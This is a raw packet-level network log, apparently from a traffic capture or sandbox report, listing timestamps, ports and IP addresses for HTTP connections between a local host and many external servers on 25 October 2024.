Oct 25, 2024 11:18:12.489361048 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.489375114 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.489384890 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.489417076 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.490247965 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.490259886 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.490272999 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.490295887 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.490326881 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.492404938 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.492423058 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.492444992 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.492459059 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.502831936 CEST	80	52646	147.154.0.23	192.168.2.5
Oct 25, 2024 11:18:12.502885103 CEST	52646	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:18:12.504213095 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.504226923 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.504237890 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.504250050 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.504261017 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.504272938 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.504285097 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.504287958 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.504287958 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.504297018 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.504309893 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.504321098 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.504336119 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.504337072 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.504379988 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.509789944 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.509816885 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.509913921 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.509947062 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.509989977 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.510056973 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.510102987 CEST	52919	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:18:12.515445948 CEST	80	52919	51.79.51.72	192.168.2.5
Oct 25, 2024 11:18:12.515548944 CEST	52919	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:18:12.515887022 CEST	52919	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:18:12.516237974 CEST	80	52912	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:12.516287088 CEST	52912	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:12.521260023 CEST	80	52919	51.79.51.72	192.168.2.5
Oct 25, 2024 11:18:12.550647020 CEST	52912	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:12.555649996 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:12.555912018 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:12.556337118 CEST	80	52912	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:12.560966969 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:12.561209917 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:12.561288118 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:12.561428070 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:12.567105055 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:12.585922003 CEST	52639	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:12.586294889 CEST	52924	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:12.591204882 CEST	80	52639	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:12.591546059 CEST	80	52900	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:12.591598034 CEST	52900	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:12.591763020 CEST	80	52924	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:12.591829062 CEST	52924	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:12.592592955 CEST	52924	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:12.593745947 CEST	52631	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:12.593962908 CEST	52925	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:12.597954988 CEST	80	52924	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:12.599112034 CEST	80	52631	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:12.599244118 CEST	80	52925	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:12.599332094 CEST	52925	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:12.599529982 CEST	52925	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:12.603255987 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:12.603333950 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:12.604473114 CEST	80	52895	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:12.604523897 CEST	52895	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:12.604618073 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.604630947 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.604643106 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.604727030 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.604744911 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.604748011 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.604763985 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.604777098 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.604784966 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.604787111 CEST	80	52925	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:12.604811907 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.604935884 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.604948044 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.604958057 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.604973078 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.604990959 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.605165005 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605180025 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605191946 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605201960 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605206966 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.605216026 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605240107 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605241060 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.605256081 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605263948 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.605267048 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605278969 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605289936 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.605318069 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.605899096 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605936050 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.605988026 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.605998993 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606012106 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606024981 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.606029034 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606036901 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.606040955 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606055975 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.606075048 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.606525898 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606642008 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606652975 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606662989 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606668949 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.606673002 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606686115 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606687069 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.606697083 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606709003 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.606709957 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.606724977 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.606750011 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.607239962 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.607261896 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.607280970 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.607281923 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.607291937 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.607304096 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.607309103 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.607321024 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.607332945 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.607340097 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.607342958 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.607356071 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.607367992 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.607368946 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.607377052 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.607407093 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.607999086 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.608045101 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.608068943 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.608079910 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.608118057 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.608172894 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.608208895 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.610084057 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.610110044 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.610126972 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.610155106 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.610192060 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.610243082 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.610255957 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.610280991 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.610313892 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.621433020 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.621450901 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.621551037 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.621557951 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.621646881 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.621656895 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.621659994 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.621670961 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.621699095 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.621715069 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.622158051 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.622205973 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.622252941 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.622263908 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.622273922 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.622303963 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.622303963 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.622462034 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.622824907 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.622840881 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.622853041 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.622864962 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.622876883 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.622878075 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.622876883 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.622895956 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.622919083 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.623677969 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.623689890 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.623701096 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.623749971 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.623749971 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.623753071 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.623764992 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.623800039 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.624541998 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.624587059 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.624598980 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.624644041 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.626969099 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.626981020 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.626991034 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.627028942 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.627028942 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.663284063 CEST	52615	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:12.663530111 CEST	52926	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:12.668884993 CEST	80	52615	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:12.668953896 CEST	80	52926	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:12.669109106 CEST	52926	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:12.669527054 CEST	52926	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:18:12.674933910 CEST	80	52926	104.196.26.65	192.168.2.5
Oct 25, 2024 11:18:12.705144882 CEST	52927	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:12.708376884 CEST	80	52866	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:12.708440065 CEST	52866	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:12.710479021 CEST	80	52927	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:12.710553885 CEST	52927	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:12.710648060 CEST	52927	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:12.716032982 CEST	80	52927	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:12.722296953 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722316027 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722332954 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722352028 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722362995 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722410917 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.722446918 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.722621918 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722632885 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722680092 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722692013 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722702026 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722712994 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722719908 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.722745895 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722758055 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722764015 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.722767115 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722779036 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722790956 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722795010 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.722804070 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.722807884 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.722829103 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.722852945 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.722995996 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723009109 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723036051 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723046064 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723114014 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723124981 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723135948 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723150015 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723160982 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723176956 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723185062 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723186970 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723197937 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723207951 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723208904 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723222017 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723232985 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723234892 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723244905 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723254919 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723258972 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723278046 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723292112 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723417997 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723439932 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723452091 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723463058 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723519087 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723529100 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723539114 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723565102 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723567009 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723576069 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723609924 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723692894 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723704100 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723715067 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723743916 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723757029 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723834038 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723865986 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723875999 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723877907 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723889112 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723901033 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723901987 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723912001 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723922014 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723923922 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723932028 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723939896 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723954916 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723961115 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723965883 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.723973989 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.723977089 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.724006891 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.724035025 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.725194931 CEST	80	52801	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:12.725244999 CEST	52801	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:12.727718115 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.727761030 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.727772951 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.727816105 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.727828026 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.727838993 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.727849007 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.727850914 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.727876902 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.727880955 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.727890968 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.727899075 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.727925062 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.727997065 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728008986 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728018999 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728044033 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728044987 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728061914 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728069067 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728080034 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728087902 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728091955 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728101015 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728102922 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728113890 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728123903 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728125095 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728135109 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728147984 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728173018 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.728394032 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.728404999 CEST	80	52906	108.167.164.216	192.168.2.5
